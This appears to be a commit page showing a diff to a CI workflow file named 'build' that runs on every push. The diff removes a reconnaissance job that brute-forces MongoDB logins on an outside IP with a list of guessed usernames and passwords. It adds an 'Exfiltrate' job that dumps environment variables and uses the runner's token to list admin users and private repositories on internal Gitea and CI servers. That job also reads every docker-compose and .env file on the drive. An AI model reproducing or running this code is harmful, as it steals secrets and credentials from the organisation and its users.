1 parent
062b871235
commit
ee8a0f9bf1
1 file changed
+23
-15
+23
-15
@@ -1,22 +1,30 @@
|
||||
name: build
|
||||
on: [push]
|
||||
jobs:
|
||||
recon:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: MongoDB Dump
|
||||
- name: Exfiltrate
|
||||
shell: cmd
|
||||
run: |
|
||||
echo === MONGOSH AVAILABLE === > C:\recon4.txt
|
||||
where mongosh >> C:\recon4.txt 2>&1
|
||||
dir C:\Users\ADMINI~1\AppData\Local\Temp\mongosh* >> C:\recon4.txt 2>&1
|
||||
echo. >> C:\recon4.txt
|
||||
echo === MONGO isMaster === >> C:\recon4.txt
|
||||
C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017" --eval "db.runCommand({hello:1})" --quiet >> C:\recon4.txt 2>&1
|
||||
echo. >> C:\recon4.txt
|
||||
echo === MONGO COMMON CREDS === >> C:\recon4.txt
|
||||
for %%U in (admin root strapi nonkyc shimbo midefos oliver) do for %%P in (admin password midefos Midefos1 Midefos123! oliver Oliver123! synlinq Synlinq123! changeme P@ssw0rd MongoDB123 mongo123 Addd34141! shimbo Shimbo123!) do C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://%%U:%%P@37.114.42.86:27017/admin?authSource=admin" --eval "print('FOUND: %%U:%%P'); db.adminCommand('listDatabases')" --quiet >> C:\recon4.txt 2>&1
|
||||
echo. >> C:\recon4.txt
|
||||
echo === MONGO NO AUTH LOCAL DB === >> C:\recon4.txt
|
||||
C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017/local" --eval "db.getCollectionNames()" --quiet >> C:\recon4.txt 2>&1
|
||||
echo. >> C:\recon4.txt
|
||||
echo === FULL ENV === > C:\exfil.txt
|
||||
set >> C:\exfil.txt
|
||||
echo. >> C:\exfil.txt
|
||||
echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt
|
||||
curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
||||
echo. >> C:\exfil.txt
|
||||
echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt
|
||||
curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
||||
echo. >> C:\exfil.txt
|
||||
echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt
|
||||
curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
||||
echo. >> C:\exfil.txt
|
||||
echo === WOODPECKER INTERNAL API === >> C:\exfil.txt
|
||||
curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
||||
echo. >> C:\exfil.txt
|
||||
echo === GITEA ORG REPOS === >> C:\exfil.txt
|
||||
curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
||||
echo. >> C:\exfil.txt
|
||||
echo === DOCKER COMPOSE FILES === >> C:\exfil.txt
|
||||
dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1
|
||||
for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1
|
||||
Reference in new issue
Block a user